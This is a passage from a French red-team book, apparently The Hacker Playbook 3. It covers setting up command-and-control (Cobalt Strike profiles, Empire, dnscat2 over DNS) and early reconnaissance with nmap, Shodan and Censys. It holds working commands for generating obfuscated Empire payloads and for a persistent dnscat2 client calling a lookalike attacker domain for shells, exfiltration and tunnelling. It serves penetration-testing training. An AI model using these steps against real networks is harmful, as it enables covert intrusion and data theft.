Bien que ne faisant pas partie de l’infrastructure, il est important de comprendre comment vos balises (beacons) fonctionnent dans un environnement interne. En termes de sécurité opérationnelle, nous ne voulons pas construire une campagne qui puisse être facilement mise en œuvre. En tant que membres d’une Red Team, nous devons supposer que certains de nos agents seront découverts par la Blue Team. Si tous nos hôtes dialoguent uniquement avec un ou deux terminaux C2, il serait assez facile de compromettre toute notre infrastructure. Heureusement pour nous, Cobalt Strike supporte les SMB Beacons entre les hôtes pour les communications C2. Cela vous permet d’avoir une machine compromise qui communique avec Internet, tandis que toutes les autres machines du réseau communiquent par l’intermédiaire de l’hôte compromis initial via SMB (https://www.cobaltstrike.com/help-smb-beacon). De cette façon, si l’un des systèmes secondaires est détecté et qu’une analyse de criminologie est effectuée, les enquêteurs pourraient ne pas être en mesure d’identifier le domaine C2 associé à l’attaque.
Une caractéristique intéressante de Cobalt Strike qui aide énormément les Red Teams est sa capacité à manipuler la façon dont vos beacons communiquent. En utilisant les profils Malleable C2, vous pouvez faire en sorte que tout votre trafic provenant de vos systèmes compromis ressemble à du trafic normal. Nous entrons de plus en plus dans des environnements avec filtrage applicatif au niveau 7. Dans la couche 7, il s’agit de rechercher un trafic anormal alors que, bien souvent, celui-ci concerne les communications Web. Et si nous pouvions faire en sorte que notre communication C2 ressemble à un trafic Web normal ? C’est ici que les profils Malleable C2 entrent en jeu. Observez l’exemple suivant :
https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile

Notez en particulier ces points :
	Nous voyons qu’il s’agit de requêtes HTTP avec des chemins URI :
	set uri “/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books”;



	L’en-tête de l’hôte est défini sur Amazon :
	header “Host” “www.amazon.com”;



	Et même certains en-têtes de serveur personnalisés sont renvoyés depuis le serveur C2 :
	header “x-amz-id-1” “THKUYEZKCKPGY5T42PZT”;
header “x-amz-id-2” “a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=”;




Maintenant que ceux-ci ont été utilisés dans de multiples campagnes différentes, de nombreux dispositifs de sécurité ont créé des signatures sur tous les profils Malleable C2 courants (https://github.com/rsmudge/Malleable-C2-Profiles). Ce que nous avons fait pour contourner ce problème, c’est de nous assurer que toutes les chaînes statiques sont modifiées, que toutes les informations User-Agent sont également modifiées, de configurer SSL avec des certificats réels (n’utilisez pas de certificats SSL Cobalt Strike par défaut), d’utiliser le jitter et de reconfigurer les balises pour les agents. Une dernière remarque est de s’assurer que la communication se fait via des commandes POST (http-post), car ne pas le faire peut donner des migraines du fait de l’utilisation de profils personnalisés. Si votre profil communique via http-get, il fonctionnera toujours, mais le transfert de gros fichiers prendra une éternité. Rappelez-vous que GET est généralement limité à environ 2 048 caractères.
L’équipe de SpectorOps a également créé des profils Malleable C2 aléatoires. Voyez à ce sujet l’adresse :
https://github.com/bluscreenofjeff/Malleable-C2-Randomizer


Aggressor Scripts Cobalt Strike
Cobalt Strike compte de nombreuses personnes qui contribuent à ce projet. Aggressor Script est un langage de script pour les opérations Red Team et les simulations d’adversaires inspiré par les clients et les robots IRC scriptables. Son objectif est double :
	Vous pouvez créer des bots pérennes qui simulent des membres virtuels de la Red Team, en « hackant » côte à côte avec vous.

	Vous pouvez également l’utiliser pour étendre et modifier le client Cobalt Strike selon vos besoins. Voyez l’adresse :
	https://www.cobaltstrike.com/aggressor-script/index.html




Par exemple, HarleyQu1nn a dressé une belle liste de différents scripts Aggressor que vous pouvez consulter à l’adresse http://bit.ly/2qxIwPE.


PowerShell Empire
Empire est un framework postexploitation qui inclut de purs agents Windows PowerShell 2.0 et Python 2.6/2.7 sous Linux/OS X. Il s’agit de la fusion des précédents projets PowerShell Empire et Python EmPyre. Le framework offre des communications cryptographiquement sécurisées et une architecture souple. Du côté de PowerShell, Empire implémente la capacité d’exécuter des agents PowerShell sans avoir besoin de powershell.exe, des modules de postexploitation rapidement déployables allant d’enregistreurs de frappe (keyloggers) à Mimikatz, et des communications adaptables pour éviter la détection réseau, le tout dans un cadre axé sur la convivialité (https://github.com/EmpireProject/Empire).
Du point de vue Red Team, PowerShell est un de nos meilleurs amis. Après la charge utile initiale, toutes les attaques ultérieures sont stockées en mémoire. La meilleure part d’Empire est qu’il est activement géré et mis à jour afin que tous les modules postexploitation les plus récents soient disponibles pour les attaques. Ils disposent également d’une connectivité C2 pour Linux et OS X. Ainsi, vous pouvez toujours créer une macro Office dans Mac et, lorsqu’elle est exécutée, avoir un tout nouvel agent dans Empire.
Nous reviendrons dans ce livre plus en détail sur Empire afin que vous puissiez voir à quel point il est efficace. Notez tout de suite qu’il est très important de s’assurer que vous avez configuré Empire de façon sécuritaire :
	Définissez CertPath avec un véritable certificat SSL de confiance.

	Changez les points de terminaison DefaultProfile. De nombreux pare-feu avec filtrage applicatif (couche 7 OSI) recherchent les terminaisons statiques exactes.

	Modifiez l’agent utilisateur utilisé pour communiquer.


Tout comme les fichiers rc de Metasploit utilisés pour l’automatisation, Empire supporte maintenant les scripts autorun pour des raisons d’efficacité et d’efficience qui seront abordées plus loin dans ce livre.
Pour exécuter Empire :
	Initialisez Empire :
	cd /opt/Empire & & & ./setup/reset. sh



	Quittez :
	exit



	Configurez Cert (la meilleure pratique consiste à utiliser de vrais certificats de confiance) :
	./setup/cert.sh



	Démarrez Empire :
	./empire



	Démarrez un listener (auditeur) :
	listeners



	Choisissez votre auditeur (nous utiliserons http pour nos exercices) :
	Uselistener(tabulez deux fois pour voir tous les types d’auditeurs)
uselistener http



	Visualisez toutes les configurations pour l’auditeur :
	info




	Configurez ce qui suit (réglez KillDate au 12/12/2020) :
	KillDate - La fin de votre campagne pour que vos agents s’autonettoient
DefaultProfile - Assurez-vous de changer tous les points de terminaison (i.e. /admin/get.php,/news.php). Vous pouvez les imaginer comme vous voulez, comme dans /seriously/notmalware.php.
DefaultProfile - Assurez-vous de changer également votre User Agent. J’aime regarder les agents utilisateurs les plus utilisés et en choisir un.
Host - Changez en HTTPS avec le port 443
CertPath - Ajoutez votre chemin d’accès à vos certificats SSL
UserAgent – Définissez ici votre agent utilisateur commun
Port - Réglez sur 443
ServerVersion - Changez pour un autre en-tête de serveur



	Lorsque vous avez terminé, commencez à écouter :
	execute




Cette procédure est illustrée sur la Figure 1.7.
[image: FIGURE 1.7 : Exécuter Empire.]
FIGURE 1.7 : Exécuter Empire.
Configurer la charge utile
La charge utile (payload) est le véritable malware qui s’exécutera sur le système de la victime. Ces charges utiles peuvent fonctionner sous Windows, Linux et OS X, mais Empire est surtout connu pour ses charges utiles PowerShell sous Windows :
	Allez au menu principal :
	main



	Créez un stager disponible pour OS X, Windows, Linux. Ici, nous allons créer un simple fichier .bat à titre d’exemple, mais vous pouvez fabriquer des macros pour des fichiers Office ou bien encore des charges utiles pour un rubber ducky5 :
	usestager[tabulez deux fois pour voir tous les différents types].
usestager windows/launcher_bat



	Visualisez toutes les options :
	info



	Configurez tous les paramètres :
	set Listener http
Configurez UserAgent



	Créez une charge utile :
	generate



	Revoyez votre charge utile dans une autre fenêtre de terminal :
	cat /tmp/launcher.bat




Cette étape est illustrée sur la Figure 1.8.
[image: FIGURE 1.8 : Exécution de la dernière étape.]
FIGURE 1.8 : Exécution de la dernière étape.
Comme vous pouvez le voir, la charge utile qui a été créée a été fortement obscurcie. Vous pouvez maintenant déposer ce fichier .bat sur n’importe quel système Windows. Bien sûr, vous voudrez probablement créer une macro Office ou une charge utile Rubber Ducky, mais ce n’est qu’un exemple parmi tant d’autres.
Si PowerShell n’est pas déjà installé sur votre image Kali, la meilleure façon de le faire est de le faire manuellement. Pour installer PowerShell sur Kali :
	apt-get install libunwind8

	wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb

	dpkg -i libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb

	wget http://security.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1-7ubuntu0.3_amd64.deb

	dpkg -i libicu55_55.1-7ubuntu0.3_amd64.deb

	wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.2/powershell_6.0.2-1.ubuntu.16.04_amd64.deb

	dpkg -i powershell_6.0.2-1.ubuntu.16.04_amd64.deb




dnscat2
Cet outil est conçu pour créer un canal Command and Control (C2) crypté sur le protocole DNS, qui est un tunnel efficace à partir de pratiquement n’importe quel réseau (https://github.com/iagox86/dnscat2).
C2 et l’exfiltration sur DNS fournissent un excellent mécanisme pour masquer votre trafic, éviter les capteurs réseau et contourner les restrictions réseau. Dans de nombreux environnements restrictifs ou de production, nous rencontrons des réseaux qui soit n’autorisent pas le trafic sortant, soit n’autorisent qu’un trafic fortement restreint ou surveillé. Pour contourner ces protections, nous pouvons utiliser un outil comme dnscat2. La raison pour laquelle nous nous concentrons sur dnscat2 est qu’il ne nécessite pas de privilèges de super utilisateur (root), et qu’il permet à la fois l’accès shell et l’exfiltration.
Dans de nombreux environnements sécurisés, les sorties UDP ou TCP directes sont restreintes. Pourquoi ne pas tirer parti des services déjà intégrés à l’infrastructure ? Beaucoup de ces réseaux protégés contiennent un serveur DNS pour résoudre les hôtes internes, tout en permettant la résolution des ressources externes. En configurant un serveur digne de foi pour un domaine malveillant que nous possédons, nous pouvons utiliser ces résolutions DNS pour exécuter le canal C2 de notre malware (voir la Figure 1.9).
Dans notre scénario, nous allons mettre en place notre domaine attaquant appelé « loca1host.com » C’est un double mystère de « localhost », dans l’espoir que nous puissions cacher un peu plus notre trafic. Assurez-vous de bien remplacer « loca1host.com » par le nom de domaine que vous possédez. Nous allons configurer les informations DNS de loca1host.com pour qu’il devienne un serveur DNS digne de foi. Dans cet exemple, nous allons utiliser l’outil de configuration DNS de GoDaddy, mais vous pouvez utiliser n’importe quel service DNS.
Configurer un serveur DNS de confiance en utilisant GoDaddy
	Tout d’abord, assurez-vous de configurer un serveur virtuel privé VPS pour être votre serveur C2 d’attaque et d’obtenir l’adresse IP de ce serveur.

	Connectez-vous à votre compte GoDaddy (ou similaire) après avoir acheté un domaine.


[image: FIGURE 1.9 : C2 et DNS.]
FIGURE 1.9 : C2 et DNS.
	Sélectionnez votre domaine, cliquez sur Gérer et sélectionnez DNS avancé.

	Ensuite, configurez Hostnames dans la gestion DNS pour pointer vers votre serveur :
	ns1 (et mettez l’IP de votre serveur VPS)
ns2 (et mettez l’IP de votre serveur VPS)



	Éditez les serveurs de noms pour les personnaliser (voir la Figure 1.10) :
	Ajoutez ns1.loca1host.com
Ajoutez ns2.loca1host.com




[image: FIGURE 1.10 : Personnaliser les serveurs de noms.]
FIGURE 1.10 : Personnaliser les serveurs de noms.
Comme le montre la Figure 1.10, nos serveurs de noms pointent maintenant vers ns1.loca1host.com et ns2.loca1host.com, qui pointent à leur tour tous deux vers notre serveur VPS attaquant. Si vous essayez de résoudre un sous-domaine pour loca1host.com (i.e. vpn.loca1host.com), il essaiera d’utiliser notre serveur VPS pour effectuer ces résolutions. Heureusement pour nous, dnscat2 écoute sur le port UDP 53 et fait tout le gros du travail pour nous.
Ensuite, nous allons avoir besoin de configurer complètement notre serveur attaquant qui agit comme étant notre serveur de nom. Voici comment configurer le serveur dnscat2 :
	sudo su -

	apt-get update

	apt-get install ruby-dev

	git clone https://github.com/iagox86/dnscat2.git

	cd dnscat2/servur/

	apt-get install gcc make

	gem install bundler

	bundle install

	Test pour s’assurer de son bon fonctionnement : ruby./dnscat2.rb

	Note rapide : si vous utilisez Amazon Lightsail, assurez-vous d’autoriser le port UDP 53.


En ce qui concerne le code client, nous devrons le compiler pour produire un binaire pour une charge utile Linux.

Compiler le client
	git clone https://github.com/iagox86/dnscat2.git/opt/dnscat2/client

	cd /opt/dnscat2/client/

	make

	Nous devrions maintenant avoir créé un binaire dnscat !

	(dans Windows : chargez client/win32/dnscat2.vcproj dans Visual Studio et cliquez sur « build »)


Maintenant que nous avons configuré notre DNS de confiance, que notre serveur attaquant utilise dnscat2 comme serveur DNS, et que notre malware a été compilé, nous sommes prêts à exécuter notre charge utile.
Avant de commencer, nous devons lancer dnscat sur notre serveur attaquant. Bien qu’il existe de multiples configurations à activer, la principale est la configuration de l’indicateur -- secret pour s’assurer que nos communications à l’intérieur des requêtes DNS sont cryptées. Assurez-vous de remplacer loca1host.com par le nom de domaine que vous possédez et de créer une chaîne secrète aléatoire.
Pour démarrer dncat2 sur votre serveur attaquant :
	screen

	ruby ./dnscat2.rb loca1host.com --secret 39dfj3hdsfajh37e8c902j


Disons que vous avez une sorte de vulnérabilité RCE sur un serveur. Vous pouvez exécuter des commandes shell et télécharger notre charge utile dnscat. Pour exécuter notre charge utile :
	./dnscat loca1host.com --secret 39dfj3hdsfajh37e8c902j


Cela va lancer dnscat, utiliser notre serveur de confiance et créer notre canal C2. Une chose que j’ai déjà vue, c’est qu’il y a des moments où dnscat2 « meurt ». Cela pourrait provenir de transferts de fichiers volumineux ou de quelque chose qui finit par s’embrouiller. Pour contourner de tels problèmes, j’aime m’assurer que ma charge utile dnscat renaît. Pour cela, je préfère généralement démarrer ma charge utile dnscat avec un script bash rapide :
	nohup /bin/bash -c “while true; do /opt/dnscat2/client/dnscat loca1host.com --secret 39dfj3hdsfajh37e8c902j --max-retransmits 5; sleep 3600; done” > /dev/null 2>&1 &


Cela va permettre de s’assurer que, si la charge utile côté client meurt pour quelque raison que ce soit, une nouvelle instance sera générée toutes les heures. Parfois, vous n’avez qu’une seule chance de faire fonctionner vos charges utiles, donc vous devez les rendre plus fortes !
Enfin, si vous allez exécuter cette charge utile sous Windows, vous pourriez utiliser la charge utile dnscat2 mais... pourquoi ne pas simplement le faire dans PowerShell ?! Luke Baggett a écrit une version PowerShell du client dnscat. Voyez à ce sujet l’adresse suivante :
https://github.com/lukebaggett/dnscat2-powershell


Connexion dnscat2
Une fois que notre charge utile s’exécute et se connecte à notre serveur attaquant, nous devrions voir un nouveau message indiquant ENCRYPTED AND VERIFIED comme sur la Figure 1.11. En tapant « window », dnscat2 affichera toutes vos sessions. Actuellement, nous avons une session de commande unique appelée « 1 ».
Nous pouvons créer un shell de style terminal en interagissant avec notre session de commande (voir la Figure 1.12) :
[image: FIGURE 1.11 : Une session de commande dnscat2.]
FIGURE 1.11 : Une session de commande dnscat2.
[image: FIGURE 1.12 : Création de shell en détail.]
FIGURE 1.12 : Création de shell en détail.
	Interagir avec notre première session de commande :
	window -i 1



	Démarrer une session shell :
	shell



	Retour à la session principale :
	Ctrl-z



	Interagir avec la session 2 :
	windows -i 2



	Maintenant, vous devriez être capable d’exécuter toutes les commandes shell (i.e. ls)


Bien que ce ne soit pas le shell le plus rapide, du fait que toutes les communications se font sur DNS, il contourne réellement les situations dans lesquelles un Meterpreter ou un shell similaire ne fonctionnent pas. Ce qui est encore mieux avec dnscat2, c’est qu’il supporte pleinement le tunneling. De cette façon, si nous voulons utiliser un exploit à partir de notre système hôte, il est possible d’utiliser un navigateur pour créer un tunnel pour les sites Web internes, ou même d’utiliser SSH dans une autre boîte.

Tunnel dans dnscat2
Bien souvent, nous voulons acheminer notre trafic depuis notre serveur attaquant vers d’autres serveurs internes en passant par notre hôte compromis. La façon la plus sûre de le faire avec dnscat2 est de router notre trafic à travers le port local puis de l’acheminer vers un système interne sur le réseau. Un exemple de ceci peut être accompli par la commande suivante dans notre session courante :
listen 127.0.0.0.1:9999 10.100.100.100.1:22

Une fois le tunnel créé, nous pouvons retourner à notre fenêtre de terminal racine sur notre machine attaquante, exécuter SSH vers localhost via le port 9999, et nous authentifier comme système interne sur le réseau de la victime (voir la Figure 1.13).
[image: FIGURE 1.13 : Le tunnel est creusé.]
FIGURE 1.13 : Le tunnel est creusé.
Au-delà d’une certaine satisfaction intellectuelle, cela constitue un grand test pour voir si les réseaux de vos clients peuvent détecter les requêtes DNS massives et l’exfiltration. À quoi ressemblent alors la requête et les réponses ? Un dump Wireshark rapide montre que dnscat2 crée des quantités massives de requêtes DNS différentes vers de nombreux sous-domaines longs différents (voir la Figure 1.14).
[image: FIGURE 1.14 : Dump Wireshark.]
FIGURE 1.14 : Dump Wireshark.
Maintenant, il y a beaucoup d’autres protocoles que vous voudrez peut-être tester. Par exemple, Nishang a un shell ICMP basé sur PowerShell (http://bit.ly/2GXhdnZ) qui utilise https://github.com/inquisb/icmpsh comme serveur C2. Il existe d’autres shells ICMP comme ceux mentionnés ci-dessous :
https://github.com/jamesbarlow/icmptunnel
https://github.com/DhavalKapil/icmptunnel
http://code.gerade.org/hans/



p0wnedShell
Comme indiqué sur la page Github de p0wnedShell, cet outil est « une application hôte PowerShell offensive écrite en C# qui ne repose pas sur powershell.exe, mais exécute des commandes et fonctions PowerShell dans un environnement d’exécution PowerShell (.NET). Il a de nombreux modules et binaires PowerShell offensifs inclus pour faciliter le processus de postexploitation. Ce que nous avons essayé de faire, c’est de construire un outil de postexploitation « tout en un » que nous pourrions utiliser pour contourner toutes les solutions de mitigation (ou du moins certaines d’entre elles), et qui dispose de tous les outils pertinents. Vous pouvez l’utiliser pour effectuer des attaques modernes dans les environnements Active Directory et créer une prise de conscience au sein de votre Blue Team afin qu’elle puisse construire les bonnes stratégies de défense. Voyez l’adresse :
https://github.com/Cn33liz/p0wnedShell


Pupy
Pupy est « un outil d’administration à distance et de postexploitation open source et multiplateforme (Windows, Linux, OS X, Android) principalement écrit en python ». Voyez l’adresse :
https://github.com/n1nj4sec/pupy

L’une des caractéristiques impressionnantes de Pupy est que vous pouvez exécuter Python sur tous vos agents sans que Python soit réellement installé sur tous vos hôtes. Si vous essayez de scripter beaucoup de vos attaques dans un cadre personnalisé, Pupy est donc un outil facile à utiliser pour le faire.

PoshC2
PoshC2 est « un framework C2 «proxy aware» qui utilise PowerShell et/ou équivalent pour aider les testeurs d’intrusion avec les Red Teams, la postexploitation et le mouvement latéral. PowerShell a été choisi comme langage de base car il fournit toutes les fonctionnalités et les riches caractéristiques requises sans avoir besoin d’introduire de multiples librairies tierces dans le framework. ». Voyez l’adresse :
https://github.com/nettitude/PoshC2


Merlin
Merlin (https://github.com/Ne0nd0g/merlin) tire parti d’un protocole récemment développé appelé HTTP/2 (RFC7540). Comme l’explique Medium, « les communications HTTP/2 sont des connexions bidirectionnelles multiplexées qui ne se terminent pas après une requête et une réponse. De plus, HTTP/2 est un protocole binaire qui le rend plus compact, facile à analyser et non lisible par l’homme sans l’utilisation d’un outil d’interprétation. » :
https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a#df21]

Merlin est un outil écrit en GO, qui ressemble à PowerShell Empire et qui permet un agent léger. Il ne supporte aucun type de module de postexploitation, et donc vous devrez gérer vous-même cette question.

Nishang
Nishang (https://github.com/samratashok/nishang) est un framework et une collection de scripts et de charges utiles qui permet d’utiliser PowerShell pour la sécurité offensive, les tests d’intrusion et le Red Teaming. Nishang est utile pendant toutes les phases des tests d’intrusion.
Nishang est vraiment une collection de scripts PowerShell incroyables, comme le montre la longue liste consultable dans la plage principale du dépôt Github.


Conclusion
Maintenant, vous êtes enfin prêt à vous jeter dans la bataille avec tous vos outils et vos serveurs configurés. Être prêt pour n’importe quel scénario vous aidera à contourner n’importe quel obstacle posé par des outils de détection réseau, des protocoles bloqués, des outils de sécurité basés sur l’hôte, et plus encore.
Pour les « labos6 » de ce livre, j’ai créé une machine virtuelle complète basée sur Kali Linux avec tous les outils. Cette machine virtuelle VMWare se trouve à l’adresse suivante :
thehackerplaybook.com/get.php?type=THP-vm

Dans l’archive THP (d’environ 7 Go), il y a un fichier texte nommé List_of_Tools.txt qui liste tous les outils ajoutés. Le nom d’utilisateur et le mot de passe par défaut sont les classiques root/toor.


1. Voir par exemple à ce sujet : https://fr.wikipedia.org/wiki/Steganographie.
2. Les données source sont accessibles à l’adresse https://attack.mitre.org/matrices/enterprise/.
3.  Voir par exemple https://bit.ly/2IZoZyr.
4.  Advanced Persistent Threat (ou menace persistante avancée). Voir par exemple https://fr.wikipedia.org/wiki/Advanced_Persistent_Threat.
5.  Un rubber ducky n’a évidemment rien à voir avec un canard en caoutchouc. Voir par exemple : https://bit.ly/2WQlkNN.
6.  On utilise aussi très souvent le terme lab comme raccourci de laboratoire.

Chapitre 2
Avant la mise en jeu – Reconnaissance par la Red Team
Dans les précédentes éditions, cette section s’était concentrée sur l’utilisation de différents outils tels que Recon-NG, Discover, Spiderfoot, Gitrob, Masscan, Sparta, HTTP Screenshot, Vulnerability Scanners, Burp Suite et autres. Il s’agissait d’outils que nous pouvions utiliser en externe ou en interne pour effectuer une reconnaissance ou un balayage de l’infrastructure de notre victime. Nous allons ici poursuivre cette tradition et élargir la phase de reconnaissance du point de vue de l’équipe rouge, la Red Team.
Surveiller un environnement
Pour les campagnes Red Team, cela concerne souvent une opportunité d’attaque. Non seulement vous devez avoir votre infrastructure d’attaque prête à agir à l’improviste, mais vous avez aussi besoin d’être constamment à la recherche de vulnérabilités. Cela peut se faire à l’aide de divers outils qui analysent les environnements, recherchent des services, des erreurs de configuration dans le cloud, et ainsi de suite. Ces activités vous permettent de recueillir davantage d’informations sur l’infrastructure de la victime et de trouver des moyens immédiats d’attaque.
Nmap et surveillance des différences
Pour tous nos clients, l’une des premières choses que nous faisons est de mettre en place différents scripts de surveillance. Ce ne sont généralement que des scripts bash rapides qui nous envoient quotidiennement par email les différences sur le réseau d’un client. Bien sûr, avant de réaliser un scan, assurez-vous que vous disposez des autorisations appropriées pour effectuer cette opération.
Pour les réseaux client qui ne sont généralement pas trop grands, nous mettons en place un cronjob1 simple pour effectuer un diffing (comparatif ou différentiel) de port externe. Par exemple, nous pourrions créer un script bash Linux rapide pour faire le travail difficile (pensez à remplacer la plage IP) :
	#!/bin/bash

	mkdir /opt/nmap_diff

	d=$(date +%Y-%m-%d)

	y=$(date -d yesterday +%Y-%m-%d)

	/usr/bin/nmap -T4 -oX /opt/nmap_diff/scan_$d.xml 10.100.100.0/24 > /dev/null 2>&1

	if [ -e /opt/nmap_diff/scan_$y.xml ]; then

	 /usr/bin/ndiff /opt/nmap_diff/scan_$y.xml /opt/nmap_diff/scan_$d.xml > /opt/nmap_diff/diff.txt

	fi


C’est un script très basique qui exécute nmap tous les jours en utilisant les ports par défaut et fait ensuite appel à ndiff pour comparer les résultats. Nous pouvons alors prendre la sortie de ce script et l’utiliser pour avertir notre équipe des nouveaux ports découverts sur une base quotidienne (voir la Figure 2.1).
[image: FIGURE 2.1 : Exécuter nmap quotidiennement.]
FIGURE 2.1 : Exécuter nmap quotidiennement.
Note : dans la dernière édition de ce livre, nous avons beaucoup parlé des avantages de Masscan (https://github.com/robertdavidgraham/masscan) et de sa rapidité par rapport à nmap. Les développeurs de Masscan ont déclaré qu’avec un pipeline réseau suffisamment important, il était possible de scanner l’ensemble d’Internet en 6 minutes. Le seul problème que nous avons constaté concerne la fiabilité de Masscan lors du parcours de grandes plages. C’est excellent pour effectuer notre reconnaissance initiale, mais il n’est généralement pas utilisé pour le diffing.
Labo :
Les labos avec THP3 sont complètement facultatifs. Dans certaines sections, j’ai inclus des labos supplémentaires pour effectuer des tests ou pour des domaines que vous pouvez développer. Puisqu’il s’agit d’apprendre et de trouver sa propre passion, je vous recommande fortement de prendre le temps d’améliorer nos outils et de les partager avec la communauté.
Pour construire un meilleur scanner de diffing réseau :
	Construisez une meilleure liste de ports que la liste par défaut de nmap (celle-ci manque de ports comme Redis 6379/6380 et autres).

	Implémentez des bannières (banners) nmap.

	Conservez un historique du suivi des ports.

	Créez un système d’alerte et de notification par courriel.

	Consultez les différentes notifications de Slack : http://bit.ly/2H1o5AW.



Captures Web
Outre la recherche régulière de ports/services ouverts, il est important pour les équipes rouges de surveiller également les différentes applications Web. Nous pouvons utiliser deux outils pour aider à surveiller les changements dans les applications.
Le premier outil de capture Web que nous utilisons couramment est HTTPScreenshot :
https://github.com/breenmachine/httpscreenshot

La raison pour laquelle HTTPScreenshot est si puissant est qu’il utilise Masscan pour scanner de grands réseaux rapidement, et qu’il utilise PhantomJS pour faire des captures d’écran de tout site Web qu’il détecte. C’est un excellent moyen d’obtenir une vue rapide d’un grand réseau interne ou externe.
N’oubliez pas que, dans ce livre, toutes les références aux outils sont exécutées à partir de la machine virtuelle Kali modifiée THP. Rappelons que vous pouvez trouver cette machine virtuelle ici (et que le nom d’utilisateur/mot de passe est par défaut : root/toor) :
http://thehackerplaybook.com/get.php?type=THP-vm

	cd /opt/httpscreenshot/

	Modifiez le fichier networks.txt pour choisir le réseau que vous voulez analyser :
	gedit networks.txt



	./masshttp.sh

	firefox clusters.html


Ce stade est illustré sur la Figure 2.2.
[image: FIGURE 2.2 : Ouverture de clusters.html.]
FIGURE 2.2 : Ouverture de clusters.html.
L’autre outil à tester est Eyewitness (https://github.com/ChrisTruncer/EyeWitness). Eyewitness est également un excellent outil qui prend un fichier XML à partir d’une sortie nmap et des captures de pages Web, de serveurs RDP et de serveurs VNC.
Labo :
	cd /opt/EyeWitness

	nmap [IP Range]/24 --open -p 80,443 -oX scan.xml

	python ./EyeWitness.py -x scan.xml --web


Ce stade est illustré sur la Figure 2.3.
[image: FIGURE 2.3 : Rapport de EyeWitness.]
FIGURE 2.3 : Rapport de EyeWitness.

Scanner dans les nuages
Au fur et à mesure que de plus en plus d’entreprises se tournent vers l’utilisation de différentes infrastructures de cloud computing, de nombreuses attaques, nouvelles comme anciennes, se développent. Cela est généralement dû à des erreurs de configuration et à un manque de connaissance de ce à quoi les infrastructures en nuage sont confrontées d’un point de vue public. Qu’il s’agisse d’Amazon EC2, d’Azure, de Google Cloud ou d’un autre fournisseur, c’est devenu une tendance planétaire.
Pour les membres des Red Teams, un problème est de savoir comment pratiquer des recherches sur différents environnements de cloud ? Comme de nombreux utilisateurs se servent d’adresses IP dynamiques, leurs serveurs peuvent non seulement changer rapidement, mais ils ne sont pas non plus répertoriés dans un certain bloc sur le fournisseur de cloud. Par exemple, si vous utilisez AWS, il faut savoir qu’ils possèdent d’énormes plages dans le monde entier. En fonction de la région que vous choisissez, votre serveur sera transféré de façon aléatoire dans une plage CIDR /132. Pour quelqu’un de l’extérieur, trouver et surveiller ces serveurs n’est pas facile.
Tout d’abord, il est important de déterminer où les plages IP sont possédées par différents fournisseurs. En voici quelques exemples :
	Amazon : https://ip-ranges.amazonaws.com/ip-ranges.json

	Azure : https://www.microsoft.com/en-us/download/details.aspx?id=41653

	Google Cloud : https://cloud.google.com/compute/docs/faq#ipranges


Comme vous pouvez le constater, ces plages sont énormes et il serait très difficile de les scanner manuellement. Tout au long de ce chapitre, nous examinerons comment nous pouvons obtenir l’information sur ces systèmes de cloud.

Moteurs de recherche réseau/service
Pour trouver des serveurs cloud, il existe de nombreuses ressources disponibles gratuitement sur Internet afin d’effectuer des reconnaissances sur nos cibles. Nous pouvons tout utiliser, de Google jusqu’aux services d’analyse de tierces parties. L’utilisation de ces ressources nous permettra de fouiller dans une entreprise et de trouver des informations sur les serveurs, les services ouverts, les bannières et d’autres détails de manière passive. L’entreprise ne saura jamais que vous avez interrogé ce type d’information. Voyons comment nous utilisons certaines de ces ressources en tant que membres d’une Red Team.
Shodan
Shodan (https://www.shodan.io) est un excellent service qui scanne en permanence l’Internet (et plus largement tout ce qui est connecté), en collectant des bannières, des ports, des informations sur les réseaux, et bien plus encore. Il a même des informations de vulnérabilité telles que Heartbleed. L’une des utilisations les plus amusantes de Shodan est d’observer à travers des webcams ouvertes et de jouer avec elles. Du point de vue d’une Red Team, nous voulons trouver des informations sur nos victimes.
Voici quelques requêtes de recherche de base :
	title : rechercher le contenu obtenu à partir de la balise HTML.

	html : rechercher tout le contenu HTML de la page retournée.

	product : rechercher le nom du logiciel ou du produit identifié dans la bannière.

	net : rechercher un bloc réseau donné (exemple : 204.51.94.94.79/18).


On peut faire des recherches sur Shodan pour cyberspacekittens :
	cyberspacekittens.com

	recherche dans la balise HTML Title
	title:cyberspacekittens




	recherche dans le contexte de la page
	html:cyberspacekittens.com




Note : j’ai remarqué que Shodan est un peu lent dans ses scans. Il m’a fallu plus d’un mois pour faire scanner mes serveurs et les mettre dans la base de données de Shodan.

Censys.io
Censys surveille en permanence tous les serveurs et appareils accessibles sur Internet afin que vous puissiez les rechercher et les analyser en temps réel. Vous serez en mesure de comprendre la surface d’attaque de votre réseau, de découvrir de nouvelles menaces et d’évaluer leur impact global (https://censys.io/). L’une des meilleures caractéristiques de Censys est qu’il récupère des informations à partir de certificats SSL. De manière typique, l’une des principales difficultés pour les Red Teams est de déterminer où se trouvent les serveurs de notre victime sur les serveurs cloud. Heureusement, nous pouvons utiliser Censys.io pour trouver ces informations car il analyse déjà ces données.
Le seul problème que nous avons avec ces analyses, c’est qu’elles peuvent parfois prendre des jours si ce n’est des semaines. Dans cet exemple, il a fallu une journée pour obtenir des informations sur les balises title. De plus, après avoir créé un certificat SSL sur mon site, il a fallu quatre jours pour que les informations apparaissent sur le site Censys.io. En termes d’exactitude des données, Censys.io était décemment fiable à défaut d’être extraordinairement rapide.
Sur la Figure 2.4, nous avons lancé des scans pour trouver des informations sur notre cible cyberspacekittens.com. En analysant le certificat SSL du serveur, nous avons pu identifier que le serveur de notre victime était hébergé sur AWS.
Il existe également un outil Censys pour l’interroger via un processus configuré dans un script :
https://github.com/christophetd/censys-subdomain-finder

[image: FIGURE 2.4 : Localiser une cible.]
FIGURE 2.4 : Localiser une cible.


Analyse manuelle des certificats SSL
